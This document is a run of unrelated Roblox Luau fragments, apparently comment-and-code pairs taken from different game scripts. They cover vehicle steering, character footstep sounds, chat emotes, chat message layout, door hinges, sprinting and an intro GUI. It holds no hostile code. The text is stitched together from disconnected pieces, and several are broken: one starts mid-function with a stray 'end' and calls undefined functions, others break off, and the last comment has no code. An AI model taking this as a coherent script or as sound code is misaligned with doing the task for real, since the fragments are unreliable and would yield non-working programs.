-- Max angle the wheels will reach when turning -- Higher number means sharper turning, but too high means the wheels might hit the car base
local MAX_TURN_ANGLE = 30
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 3 -- cooldown for use of the tool again ZoneModelName = "Dark string" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--// Player Events
game:GetService("RunService").Heartbeat:connect(function() for _,v in pairs(game.Players:GetChildren()) do UpdateTag(v) end end)
-- Return attempt debugging ID when converted to string
function Attempt:__tostring() return self.Id:gsub('table', 'Attempt'); end;
--[[* * This API should be called `delete` but we'd have to make sure to always * transform these to strings for IE support. When this transform is fully * supported we can rename it. ]]
local Shared = script.Parent local Packages = Shared.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Error = LuauPolyfill.Error local inspect = LuauPolyfill.util.inspect local getComponentName = require(script.Parent.getComponentName) local exports = {} local function isValidFiber(fiber): boolean return fiber.tag ~= nil and fiber.subtreeFlags ~= nil and fiber.lanes ~= nil and fiber.childLanes ~= nil end exports.remove = function(key) key._reactInternals = nil end exports.get = function(key) local value = key._reactInternals -- ROBLOX deviation: we have a crash in production this will help catch -- ROBLOX TODO: wrap this in __DEV__ if not isValidFiber(value) then error( Error.new( "invalid fiber in " .. (getComponentName(key) or "UNNAMED Component") .. " during get from ReactInstanceMap! " .. inspect(value) ) ) elseif value.alternate ~= nil and not isValidFiber(value.alternate) then error( Error.new( "invalid alternate fiber (" .. (getComponentName(key) or "UNNAMED alternate") .. ") in " .. (getComponentName(key) or "UNNAMED Component") .. " during get from ReactInstanceMap! " .. inspect(value.alternate) ) ) end return value end exports.has = function(key) return key._reactInternals ~= nil end exports.set = function(key, value) -- ROBLOX deviation: we have a crash in production this will help catch -- ROBLOX TODO: wrap this in __DEV__ local parent = value local message while parent ~= nil do if not isValidFiber(parent) then message = "invalid fiber in " .. (getComponentName(key) or "UNNAMED Component") .. " being set in ReactInstanceMap! " .. inspect(parent) .. "\n" if value ~= parent then message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")" end error(Error.new(message)) elseif (parent :: any).alternate ~= nil and not isValidFiber((parent :: any).alternate) then message = "invalid alternate fiber (" .. (getComponentName(key) or "UNNAMED alternate") .. ") in " .. (getComponentName(key) or "UNNAMED Component") .. " being set in ReactInstanceMap! " .. inspect((parent :: any).alternate) .. "\n" if value ~= parent then message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")" end error(Error.new(message)) end parent = (parent :: any).return_ end (key :: any)._reactInternals = value end return exports
--TweenParts
local Hinge = script.Parent.Parent.Hinge1 local OpenHinge = script.Parent.Parent.Open1 local ClosedHinge = script.Parent.Parent.Closed1 local Hinge1 = script.Parent.Parent.Hinge0 local OpenHinge1 = script.Parent.Parent.Open0 local ClosedHinge1 = script.Parent.Parent.Closed0
--Refer to Settings.COMPARISON_CHECKS
local function comparePosition(self) if self._currentWaypoint == #self._waypoints then return end self._position._count = ((self._agent.PrimaryPart.Position - self._position._last).Magnitude <= 0.07 and (self._position._count + 1)) or 0 self._position._last = self._agent.PrimaryPart.Position if self._position._count >= Settings.COMPARISON_CHECKS then setJumpState(self) end end
--ice
script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval7 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) mode10() end while true do randval1 = Color3.new(1,0,0) --Red randval2 = Color3.new(0,1,0) --Green randval3 = Color3.new(0,0,1) --Blue randval4 = Color3.new(1,1,0) --yellow randval5 = Color3.new(1,0,1) --mag randval6 = Color3.new(0,1,1) --cyn randval7 = Color3.new(1,1,1) --white randval8 = Color3.new(0,0,0) --blk mode9() end
-- Signal:Fire(...) implemented by running the handler functions on the -- coRunnerThread, and any time the resulting thread yielded without returning -- to us, that means that it yielded to the Roblox scheduler and has been taken -- over by Roblox scheduling, meaning we have to make a new coroutine runner.
function Signal:Fire(...) local item = self._handlerListHead while item do if item._connected then if not freeRunnerThread then freeRunnerThread = coroutine.create(runEventHandlerInFreeThread) end task.spawn(freeRunnerThread, item._fn, ...) end item = item._next end end
-- Variables
local ServerStorage = game:GetService("ServerStorage") local particlesFolder = ServerStorage:WaitForChild("SpecialEffects") local upgradeParticle = particlesFolder:WaitForChild("ParticleLap") local upgradeCheckpoint = particlesFolder:WaitForChild("ParticleCheckpoint") local particleHolderName = "HumanoidRootPart" local particleEmitRate = 20
-- Variables for services
local render = game:GetService("RunService").RenderStepped local runService = game:GetService("RunService") local contextActionService = game:GetService("ContextActionService") local userInputService = game:GetService("UserInputService")
--DO NOT EDIT BELOW!
local door = script.Parent local db = false door.Touched:connect(function(hit) if not db then db = true local humanoid = hit.Parent:FindFirstChild("Humanoid") if humanoid then local plr = game.Players:GetPlayerFromCharacter(hit.Parent) for _,name in pairs(Admins) do if string.lower(plr.Name) == string.lower(name) then door.Transparency = 0 door.CanCollide = false wait(3) door.Transparency = 0 door.CanCollide = true end end end db = false end end)
-- // Visual Config
local CONE_HEIGHT = 0.25 local LINE_THICKNESS = 2.5 local TRANSPARENCY = 0.5 local ALWAYS_ON_TOP = true
---Basic_Settings:---
local light = true -- Set to false if u dont have light added local maxv = 133 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane local minspeed = -30 -- min speed In real KT local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops
--SFX ID to Sound object
local Sounds = {} local SoundService = game:GetService("SoundService") local soundEventFolderName = "DefaultSoundEvents" local ReplicatedStorage = game:GetService("ReplicatedStorage") local AddCharacterLoadedEvent = nil local RemoveCharacterEvent = nil local soundEventFolder = ReplicatedStorage:FindFirstChild(soundEventFolderName) local useSoundDispatcher = UserSettings():IsUserFeatureEnabled("UserUseSoundDispatcher") if useSoundDispatcher then if not soundEventFolder then soundEventFolder = Instance.new("Folder", ReplicatedStorage) soundEventFolder.Name = soundEventFolderName soundEventFolder.Archivable = false end -- Load the RemoveCharacterEvent RemoveCharacterEvent = soundEventFolder:FindFirstChild("RemoveCharacterEvent") if RemoveCharacterEvent == nil then RemoveCharacterEvent = Instance.new("RemoteEvent", soundEventFolder) RemoveCharacterEvent.Name = "RemoveCharacterEvent" end AddCharacterLoadedEvent = soundEventFolder:FindFirstChild("AddCharacterLoadedEvent") if AddCharacterLoadedEvent == nil then AddCharacterLoadedEvent = Instance.new("RemoteEvent", soundEventFolder) AddCharacterLoadedEvent.Name = "AddCharacterLoadedEvent" end -- Notify the server a new character has been loaded AddCharacterLoadedEvent:FireServer() -- Notify the sound dispatcher this character has left. game.Players.LocalPlayer.CharacterRemoving:connect(function(character) RemoveCharacterEvent:FireServer(game.Players.LocalPlayer) end) end do local Figure = script.Parent.Parent Head = Figure:WaitForChild("Head") while not Humanoid do for _,NewHumanoid in pairs(Figure:GetChildren()) do if NewHumanoid:IsA("Humanoid") then Humanoid = NewHumanoid break end end if Humanoid then break end Figure.ChildAdded:wait() end Sounds[SFX.Died] = Head:WaitForChild("Died") Sounds[SFX.Running] = Head:WaitForChild("Running") Sounds[SFX.Swimming] = Head:WaitForChild("Swimming") Sounds[SFX.Climbing] = Head:WaitForChild("Climbing") Sounds[SFX.Jumping] = Head:WaitForChild("Jumping") Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp") Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling") Sounds[SFX.Landing] = Head:WaitForChild("Landing") Sounds[SFX.Splash] = Head:WaitForChild("Splash") local DefaultServerSoundEvent = nil if useSoundDispatcher then DefaultServerSoundEvent = soundEventFolder:FindFirstChild("DefaultServerSoundEvent") else DefaultServerSoundEvent = game:GetService("ReplicatedStorage"):FindFirstChild("DefaultServerSoundEvent") end if DefaultServerSoundEvent then DefaultServerSoundEvent.OnClientEvent:connect(function(sound, playing, resetPosition) if resetPosition and sound.TimePosition ~= 0 then sound.TimePosition = 0 end if sound.IsPlaying ~= playing then sound.Playing = playing end end) end end local IsSoundFilteringEnabled = function() return game.Workspace.FilteringEnabled and SoundService.RespectFilteringEnabled end local Util Util = { --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x. YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y) --(y - y1)/(x - x1) = m local m = (pt1y - pt2y) / (pt1x - pt2x) --float b = pt1.y - m * pt1.x; local b = (pt1y - m * pt1x) return m * x + b end; --Clamps the value of "val" between the "min" and "max" Clamp = function(val,min,max) return math.min(max,math.max(min,val)) end; --Gets the horizontal (x,z) velocity magnitude of the given part HorizontalSpeed = function(Head) local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0) return hVel.magnitude end; --Gets the vertical (y) velocity magnitude of the given part VerticalSpeed = function(Head) return math.abs(Head.Velocity.Y) end; --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop --If these properties are enabled, use them. Play = function(sound) if IsSoundFilteringEnabled() then sound.CharacterSoundEvent:FireServer(true, true) end if sound.TimePosition ~= 0 then sound.TimePosition = 0 end if not sound.IsPlaying then sound.Playing = true end end; Pause = function(sound) if IsSoundFilteringEnabled() then sound.CharacterSoundEvent:FireServer(false, false) end if sound.IsPlaying then sound.Playing = false end end; Resume = function(sound) if IsSoundFilteringEnabled() then sound.CharacterSoundEvent:FireServer(true, false) end if not sound.IsPlaying then sound.Playing = true end end; Stop = function(sound) if IsSoundFilteringEnabled() then sound.CharacterSoundEvent:FireServer(false, true) end if sound.IsPlaying then sound.Playing = false end if sound.TimePosition ~= 0 then sound.TimePosition = 0 end end; } do -- List of all active Looped sounds local playingLoopedSounds = {} -- Last seen Enum.HumanoidStateType local activeState = nil local fallSpeed = 0 -- Verify and set that "sound" is in "playingLoopedSounds". function setSoundInPlayingLoopedSounds(sound) for i=1, #playingLoopedSounds do if playingLoopedSounds[i] == sound then return end end table.insert(playingLoopedSounds,sound) end -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped. function stopPlayingLoopedSoundsExcept(except) for i=#playingLoopedSounds,1,-1 do if playingLoopedSounds[i] ~= except then Util.Pause(playingLoopedSounds[i]) table.remove(playingLoopedSounds,i) end end end -- Table of Enum.HumanoidStateType to handling function local stateUpdateHandler = { [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.Died] Util.Play(sound) end; [Enum.HumanoidStateType.RunningNoPhysics] = function(speed) stateUpdated(Enum.HumanoidStateType.Running, speed) end; [Enum.HumanoidStateType.Running] = function(speed) local sound = Sounds[SFX.Running] stopPlayingLoopedSoundsExcept(sound) if(useUpdatedLocalSoundFlag and activeState == Enum.HumanoidStateType.Freefall and fallSpeed > 0.1) then -- Play a landing sound if the character dropped from a large distance local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110)) local freeFallSound = Sounds[SFX.FreeFalling] freeFallSound.Volume = vol Util.Play(freeFallSound) fallSpeed = 0 end if useUpdatedLocalSoundFlag then if speed ~= nil and speed > 0.5 then Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) elseif speed ~= nil then stopPlayingLoopedSoundsExcept() end else if Util.HorizontalSpeed(Head) > 0.5 then Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) else stopPlayingLoopedSoundsExcept() end end end; [Enum.HumanoidStateType.Swimming] = function(speed) local threshold if useUpdatedLocalSoundFlag then threshold = speed else threshold = Util.VerticalSpeed(Head) end if activeState ~= Enum.HumanoidStateType.Swimming and threshold > 0.1 then local splashSound = Sounds[SFX.Splash] splashSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalSpeed(Head), 100, 0.28, 350, 1), 0,1) Util.Play(splashSound) end do local sound = Sounds[SFX.Swimming] stopPlayingLoopedSoundsExcept(sound) Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) end end; [Enum.HumanoidStateType.Climbing] = function(speed) local sound = Sounds[SFX.Climbing] if useUpdatedLocalSoundFlag then if speed ~= nil and math.abs(speed) > 0.1 then Util.Resume(sound) stopPlayingLoopedSoundsExcept(sound) else Util.Pause(sound) stopPlayingLoopedSoundsExcept(sound) end else if Util.VerticalSpeed(Head) > 0.1 then Util.Resume(sound) stopPlayingLoopedSoundsExcept(sound) else stopPlayingLoopedSoundsExcept() end end setSoundInPlayingLoopedSounds(sound) end; [Enum.HumanoidStateType.Jumping] = function() if activeState == Enum.HumanoidStateType.Jumping then return end stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.Jumping] Util.Play(sound) end; [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.GettingUp] Util.Play(sound) end; [Enum.HumanoidStateType.Freefall] = function() if activeState == Enum.HumanoidStateType.Freefall then return end local sound = Sounds[SFX.FreeFalling] sound.Volume = 0 stopPlayingLoopedSoundsExcept() fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.y)) end; [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSoundsExcept() end; [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSoundsExcept() if Util.VerticalSpeed(Head) > 75 then local landingSound = Sounds[SFX.Landing] landingSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalSpeed(Head), 50, 0, 100, 1), 0,1) Util.Play(landingSound) end end; [Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSoundsExcept() end; } -- Handle state event fired or OnChange fired function stateUpdated(state, speed) if stateUpdateHandler[state] ~= nil then if useUpdatedLocalSoundFlag and (state == Enum.HumanoidStateType.Running or state == Enum.HumanoidStateType.Climbing or state == Enum.HumanoidStateType.Swimming or state == Enum.HumanoidStateType.RunningNoPhysics) then stateUpdateHandler[state](speed) else stateUpdateHandler[state]() end end activeState = state end Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end) Humanoid.Running:connect( function(speed) stateUpdated(Enum.HumanoidStateType.Running, speed) end) Humanoid.Swimming:connect( function(speed) stateUpdated(Enum.HumanoidStateType.Swimming, speed) end) Humanoid.Climbing:connect( function(speed) stateUpdated(Enum.HumanoidStateType.Climbing, speed) end) Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end) Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end) Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end) Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end) -- required for proper handling of Landed event Humanoid.StateChanged:connect(function(old, new) stateUpdated(new) end) function onUpdate(stepDeltaSeconds, tickSpeedSeconds) local stepScale = stepDeltaSeconds / tickSpeedSeconds do local sound = Sounds[SFX.FreeFalling] if activeState == Enum.HumanoidStateType.Freefall then if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then Util.Resume(sound) --Volume takes 1.1 seconds to go from volume 0 to 1 local ANIMATION_LENGTH_SECONDS = 1.1 local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1) else sound.Volume = 0 end else Util.Pause(sound) end end do local sound = Sounds[SFX.Running] if activeState == Enum.HumanoidStateType.Running then if Util.HorizontalSpeed(Head) < 0.5 then Util.Pause(sound) end end end end local lastTick = tick() local TICK_SPEED_SECONDS = 0.25 while true do onUpdate(tick() - lastTick,TICK_SPEED_SECONDS) lastTick = tick() wait(TICK_SPEED_SECONDS) end end
-- Check if the given message should trigger an emote, and return its animation ID
function ChatEmotes.getEmoteFromMessage(message: string): (string?, string?) local useDefaultEmotes = config.getValues().useDefaultTriggerWordsForChatEmotes local list = if useDefaultEmotes then Cryo.Dictionary.join(emotesList, customEmotesList) else customEmotesList local candidates = {} for _, emote in pairs(list) do if emote.requiresOwnershipOf and not emote.isOwned then continue end for _, triggerWord in ipairs(emote.triggerWords) do if ChatEmotes.messageMatchesTriggerWord(message, triggerWord) then table.insert(candidates, { animation = emote.animationId, triggerWord = triggerWord }) end end end if #candidates == 0 then return nil end local chosen = candidates[random:NextInteger(1, #candidates)] return chosen.animation, chosen.triggerWord end function ChatEmotes.setTriggerWordsForChatAnimation(animationId: string, triggerWords: { string }) assert(t.string(animationId), "Bad argument #1 to ChatEmotes.setTriggerWordsForChatAnimation: expected a string") assert( t.array(t.string)(triggerWords), "Bad argument #2 to ChatEmotes.setTriggerWordsForChatAnimation: expected an array of strings" ) customEmotesList[animationId] = { animationId = animationId, triggerWords = triggerWords, } end local function onChatted(message) local animationId, triggerWord = ChatEmotes.getEmoteFromMessage(message) local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild("Humanoid") local animator = humanoid and humanoid:FindFirstChild("Animator") if animationId and animator then local animation = Instance.new("Animation") animation.AnimationId = animationId stopCurrentTrack() currentTrack = animator:LoadAnimation(animation) currentTrack.Priority = Enum.AnimationPriority.Action currentTrack:Play() events.onChatAnimationPlayed:Fire(animationId, triggerWord) end end function ChatEmotes.enable() if enabled then return end if chatEvent then chattedConnection = chatEvent.OnClientEvent:Connect(function(data) if data.SpeakerUserId ~= Players.LocalPlayer.UserId then return end onChatted(data.Message) end) else chattedConnection = Players.LocalPlayer.Chatted:Connect(onChatted) end local function onCharacterAdded(character) local humanoid = character:WaitForChild("Humanoid") characterMovedConnection = humanoid:GetPropertyChangedSignal("MoveDirection"):Connect(stopCurrentTrack) characterJumpedConnection = humanoid.Jumping:Connect(stopCurrentTrack) end if Players.LocalPlayer.Character then task.spawn(function() onCharacterAdded(Players.LocalPlayer.Character) end) end characterAddedConnection = Players.LocalPlayer.CharacterAdded:Connect(onCharacterAdded) -- Ownership checks are cached on initialization because, as the call yields, performing this check when -- receiving a chat message would create a small delay before the animation is played task.spawn(function() for _, emote in pairs(emotesList) do if emote.requiresOwnershipOf then local success, result = pcall(function() return MarketplaceService:PlayerOwnsAsset(Players.LocalPlayer, emote.requiresOwnershipOf) end) if success then emote.isOwned = result else emote.isOwned = false end end end end) enabled = true end function ChatEmotes.disable() if not enabled then return end stopCurrentTrack() if chattedConnection then chattedConnection:Disconnect() chattedConnection = nil end if characterAddedConnection then characterAddedConnection:Disconnect() characterAddedConnection = nil end if characterMovedConnection then characterMovedConnection:Disconnect() characterMovedConnection = nil end if characterJumpedConnection then characterJumpedConnection:Disconnect() characterJumpedConnection = nil end enabled = false end return ChatEmotes
--> CUSTOMISATION
local AccelerationTime = 1 local DropTime = 2
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize) xSize = xSize or BaseFrame.AbsoluteSize.X local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000)) return textBoundsSize.Y end function methods:GetNumberOfSpaces(str, font, textSize) local strSize = self:GetStringTextBounds(str, font, textSize) local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize) return math.ceil(strSize.X / singleSpaceSize.X) end function methods:CreateBaseMessage(message, font, textSize, chatColor) local BaseFrame = self:GetFromObjectPool("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 0, 18) BaseFrame.Visible = true BaseFrame.BackgroundTransparency = 1 local messageBorder = 8 local BaseMessage = self:GetFromObjectPool("TextLabel") BaseMessage.Selectable = false BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0) BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0) BaseMessage.BackgroundTransparency = 1 BaseMessage.Font = font BaseMessage.TextSize = textSize BaseMessage.TextXAlignment = Enum.TextXAlignment.Left BaseMessage.TextYAlignment = Enum.TextYAlignment.Top BaseMessage.TextTransparency = 0 BaseMessage.TextStrokeTransparency = 0.75 BaseMessage.TextColor3 = chatColor BaseMessage.TextWrapped = true if shouldClipInGameChat then BaseMessage.ClipsDescendants = true end BaseMessage.Text = message BaseMessage.Visible = true BaseMessage.Parent = BaseFrame return BaseFrame, BaseMessage end function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName) local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize) local NameButton = self:GetFromObjectPool("TextButton") NameButton.Selectable = false NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y) NameButton.Position = UDim2.new(0, 0, 0, 0) NameButton.BackgroundTransparency = 1 NameButton.Font = BaseMessage.Font NameButton.TextSize = BaseMessage.TextSize NameButton.TextXAlignment = BaseMessage.TextXAlignment NameButton.TextYAlignment = BaseMessage.TextYAlignment NameButton.TextTransparency = BaseMessage.TextTransparency NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency NameButton.TextColor3 = nameColor NameButton.Text = formatName NameButton.Visible = true NameButton.Parent = BaseMessage local clickedConn = NameButton.MouseButton1Click:connect(function() self:NameButtonClicked(NameButton, playerName) end) local changedConn = nil changedConn = NameButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return NameButton end function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName) local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize) local ChannelButton = self:GetFromObjectPool("TextButton") ChannelButton.Selectable = false ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y) ChannelButton.Position = UDim2.new(0, 0, 0, 0) ChannelButton.BackgroundTransparency = 1 ChannelButton.Font = BaseMessage.Font ChannelButton.TextSize = BaseMessage.TextSize ChannelButton.TextXAlignment = BaseMessage.TextXAlignment ChannelButton.TextYAlignment = BaseMessage.TextYAlignment ChannelButton.TextTransparency = BaseMessage.TextTransparency ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency ChannelButton.TextColor3 = channelColor ChannelButton.Text = formatChannelName ChannelButton.Visible = true ChannelButton.Parent = BaseMessage local clickedConn = ChannelButton.MouseButton1Click:connect(function() self:ChannelButtonClicked(ChannelButton, channelName) end) local changedConn = nil changedConn = ChannelButton.Changed:connect(function(prop) if prop == "Parent" then clickedConn:Disconnect() changedConn:Disconnect() end end) return ChannelButton end function methods:AddTagLabelToBaseMessage(BaseMessage, tagColor, formatTagText) local tagNameSize = self:GetStringTextBounds(formatTagText, BaseMessage.Font, BaseMessage.TextSize) local TagLabel = self:GetFromObjectPool("TextLabel") TagLabel.Selectable = false TagLabel.Size = UDim2.new(0, tagNameSize.X, 0, tagNameSize.Y) TagLabel.Position = UDim2.new(0, 0, 0, 0) TagLabel.BackgroundTransparency = 1 TagLabel.Font = BaseMessage.Font TagLabel.TextSize = BaseMessage.TextSize TagLabel.TextXAlignment = BaseMessage.TextXAlignment TagLabel.TextYAlignment = BaseMessage.TextYAlignment TagLabel.TextTransparency = BaseMessage.TextTransparency TagLabel.TextStrokeTransparency = BaseMessage.TextStrokeTransparency TagLabel.TextColor3 = tagColor TagLabel.Text = formatTagText TagLabel.Visible = true TagLabel.Parent = BaseMessage return TagLabel end function GetWhisperChannelPrefix() if ChatConstants.WhisperChannelPrefix then return ChatConstants.WhisperChannelPrefix end return "To " end function methods:NameButtonClicked(nameButton, playerName) if not self.ChatWindow then return end if ChatSettings.ClickOnPlayerNameToWhisper then local player = Players:FindFirstChild(playerName) if player and player ~= LocalPlayer then local whisperChannel = GetWhisperChannelPrefix() ..playerName if self.ChatWindow:GetChannel(whisperChannel) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= whisperChannel then self.ChatWindow:SwitchCurrentChannel(whisperChannel) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() elseif not self.ChatBar:IsInCustomState() then local whisperMessage = "/w " ..playerName self.ChatBar:CaptureFocus() self.ChatBar:SetText(whisperMessage) end end end end function methods:ChannelButtonClicked(channelButton, channelName) if not self.ChatWindow then return end if ChatSettings.ClickOnChannelNameToSetMainChannel then if self.ChatWindow:GetChannel(channelName) then self.ChatBar:ResetCustomState() local targetChannelName = self.ChatWindow:GetTargetMessageChannel() if targetChannelName ~= channelName then self.ChatWindow:SwitchCurrentChannel(channelName) end self.ChatBar:ResetText() self.ChatBar:CaptureFocus() end end end function methods:RegisterChatWindow(chatWindow) self.ChatWindow = chatWindow self.ChatBar = chatWindow:GetChatBar() end function methods:GetFromObjectPool(className) if self.ObjectPool == nil then return Instance.new(className) end return self.ObjectPool:GetInstance(className) end function methods:RegisterObjectPool(objectPool) self.ObjectPool = objectPool end
-- Checks if the model that the part is in has been destroyed
local function isModelDestroyed(part, destroyedModels) local model = getModel(part) for i, destroyedModel in pairs(destroyedModels) do if (model == destroyedModel) then return true end end return false end
--Deadzone Adjust
local _PPH = _Tune.Peripherals for i,v in pairs(_PPH) do local a = Instance.new("IntValue",Controls) a.Name = i a.Value = v a.Changed:connect(function() a.Value=math.min(100,math.max(0,a.Value)) _PPH[i] = a.Value end) end
-- Events
local gameStageChanged = ReplicatedStorage.Events.GameStageChange local getGameStage = ReplicatedStorage.Events.GetGameStage
--Switch button type
local DriverButtonId local DriverButtonPressedId local PassengerButtonId local PassengerButtonPressedId local function setPlatformType(inputType) if inputType == Enum.UserInputType.Keyboard then DriverButtonId = "rbxassetid://2848250902" DriverButtonPressedId = "rbxassetid://2848250902" PassengerButtonId = "rbxassetid://2848251564" PassengerButtonPressedId = "rbxassetid://2848251564" EnterImageButton.Size = UDim2.new(0, 36, 0, 36) FlipImageButton.Image = "rbxassetid://2848307983" FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983" FlipImageButton.Size = UDim2.new(0, 44, 0, 44) BackgroundConsole.Visible = false BackgroundDesktop.Visible = true BackgroundDesktop.Size = UDim2.new(0, 97, 0, 46) BackgroundDesktop.Position = UDim2.new(0.5, 28, 0.5, 0) ButtonPrompt.Visible = true ButtonPrompt.Image = "rbxassetid://2935912536" ButtonPrompt.Size = UDim2.new(0, 36, 0, 36) ButtonPrompt.Position = UDim2.new(0.5, -46, 0.5, 0) ButtonPrompt.TextLabel.Visible = true --Display the correct key ButtonPrompt.TextLabel.Text = Keymap.EnterVehicleKeyboard.Name elseif inputType.Value >= Enum.UserInputType.Gamepad1.Value and inputType.Value <= Enum.UserInputType.Gamepad8.Value then DriverButtonId = "rbxassetid://2848635029" DriverButtonPressedId = "rbxassetid://2848635029" PassengerButtonId = "rbxassetid://2848636545" PassengerButtonPressedId = "rbxassetid://2848636545" EnterImageButton.Size = UDim2.new(0, 60, 0, 60) FlipImageButton.Image = "rbxassetid://2848307983" FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983" FlipImageButton.Size = UDim2.new(0, 44, 0, 44) BackgroundDesktop.Visible = false BackgroundConsole.Visible = true BackgroundConsole.Size = UDim2.new(0, 136, 0, 66) BackgroundConsole.Position = UDim2.new(0.5, 40, 0.5, 0) ButtonPrompt.Visible = true --ButtonPrompt.Image = "rbxassetid://408462759" ButtonPrompt.Size = UDim2.new(0, 46, 0, 46) ButtonPrompt.Position = UDim2.new(0.5, -63, 0.5, 0) ButtonPrompt.ImageRectSize = Vector2.new(71, 71) ButtonPrompt.ImageRectOffset = Vector2.new(512, 600) ButtonPrompt.TextLabel.Visible = false --Set the correct image for the gamepad button prompt local template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, "Light") ButtonPrompt.Image = template.Image ButtonPrompt.ImageRectOffset = template.ImageRectOffset ButtonPrompt.ImageRectSize = template.ImageRectSize elseif inputType == Enum.UserInputType.Touch then BackgroundDesktop.Visible = false BackgroundConsole.Visible = false ButtonPrompt.Visible = false DriverButtonId = "rbxassetid://2847898200" DriverButtonPressedId = "rbxassetid://2847898354" PassengerButtonId = "rbxassetid://2848217831" PassengerButtonPressedId = "rbxassetid://2848218107" EnterImageButton.Size = UDim2.new(0, 44, 0, 44) FlipImageButton.Image = "rbxassetid://2848187559" FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848187982" FlipImageButton.Size = UDim2.new(0, 44, 0, 44) end end UserInputService.LastInputTypeChanged:Connect(setPlatformType) setPlatformType(Enum.UserInputType.Keyboard) setPlatformType(UserInputService:GetLastInputType()) local function getLocalHumanoid() if LocalPlayer.Character then return LocalPlayer.Character:FindFirstChildOfClass("Humanoid") end end local SeatTag = GetSeatTag:InvokeServer()
--local NormalWalk = Character.WalkSpeed
UserInputService.InputBegan:Connect(function(input,processing) if not processing then if input.KeyCode == Enum.KeyCode.LeftShift then if isRunning then Character.Humanoid.WalkSpeed = 40 end end end end) UserInputService.InputEnded:Connect(function(input,processing) if not processing then if input.KeyCode == Enum.KeyCode.LeftShift then Character.Humanoid.WalkSpeed = 16 end end end) task.wait(1) Character.Humanoid:GetPropertyChangedSignal("MoveDirection"):Connect(function() if Character.Humanoid.MoveDirection.Magnitude > 0 then isRunning = true else isRunning = false end end)
--[[ r x d e s i r e onPlayerAdded --]]
function added(player) local GUI = script.IntroGui:clone() GUI.Parent = player:WaitForChild("PlayerGui") end game.Players.PlayerAdded:connect(added)
--use this to determine if you want this human to be harmed or not, returns boolean
